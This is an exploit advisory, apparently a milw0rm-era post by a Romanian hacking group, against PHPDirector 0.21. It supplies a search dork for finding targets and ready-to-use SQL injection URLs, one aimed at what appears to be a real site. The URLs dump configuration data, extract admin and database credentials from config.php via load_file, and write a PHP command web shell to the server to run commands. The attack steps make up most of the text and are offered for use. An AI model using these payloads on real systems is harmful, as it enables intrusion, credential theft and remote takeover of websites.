PHPDirector <= 0.21 (SQL injection/Upload SHELL) Remote Vulnerabilities

PHPDirector <= 0.21 (SQL injection/Upload SHELL) Remote Vulnerabilities

WEB APP: PHPDirector 0.21
SITE: http://www.phpdirector.co.uk/site/
DORK: "Powered by PHP Director"

AUTHOR: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]

• Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET

DESCRIPTION: - SQL injection in $id of videos.php

• admin & password are in config.php Sad
• Path disclosure
• It doesn`t deserve to make an sploit

EXPLOIT:

SQL INJECTION:
http://www.site.com/videos.php?id=-1&#37;20UNION&#37;20SELECT&#37;20name,news,vids_per_page,lang,version,template,7,8,9,10,11,12,13,14,15&#37;20FROM&#37;20pp_config
Example:
http://zwhip.com/videos.php?id=-1&#37;20UNION&#37;20SELECT&#37;20name,news,vids_per_page,lang,version,template,7,8,9,10,11,12,13,14,15&#37;20FROM&#37;20pp_config

FIND ADMIN PASS & DB INFO:

1. We must have teh path … check: http://www.site.com/videos.php?id[]= (path disclosure)

http://www.site.com/videos.php?id=-1&#37;20UNION&#37;20SELECT&#37;201,2,3,4,5,6,7,8,9,10,11,12,13,14,load_file&#40;&#39;[path_you_just_found]/config.php&#39;&#41;&#37;20FROM&#37;20pp_config&#37;20into&#37;20outfile&#37;20&#39;[path_you_just_found]/config.txt&#39;
3. Now check: http://www.site.com/config.txt

UPLOAD SHELL:

1. We must have teh path … check: http://www.site.com/videos.php?id[]= (path disclosure)

http://www.site.com/videos.php?id=-1&#37;20UNION&#37;20SELECT&#37;201,&#39;&lt;?php&#37;20system&#40;$_GET[cmd]&#41;;&#37;20?&gt;&#39;,3,4,5,6,7,8,9,10,11,12,13,14,15&#37;20INTO&#37;20OUTFILE&#37;20&#39;[path_founded]/shell.php&#39;&#37;20FROM&#37;20pp_config
3. http://www.site.com/shell.php?cmd=uname -a

GREETZ: all memberz of RST and milw0rm
//kw3rln [http://rstzone.net]
[EOF]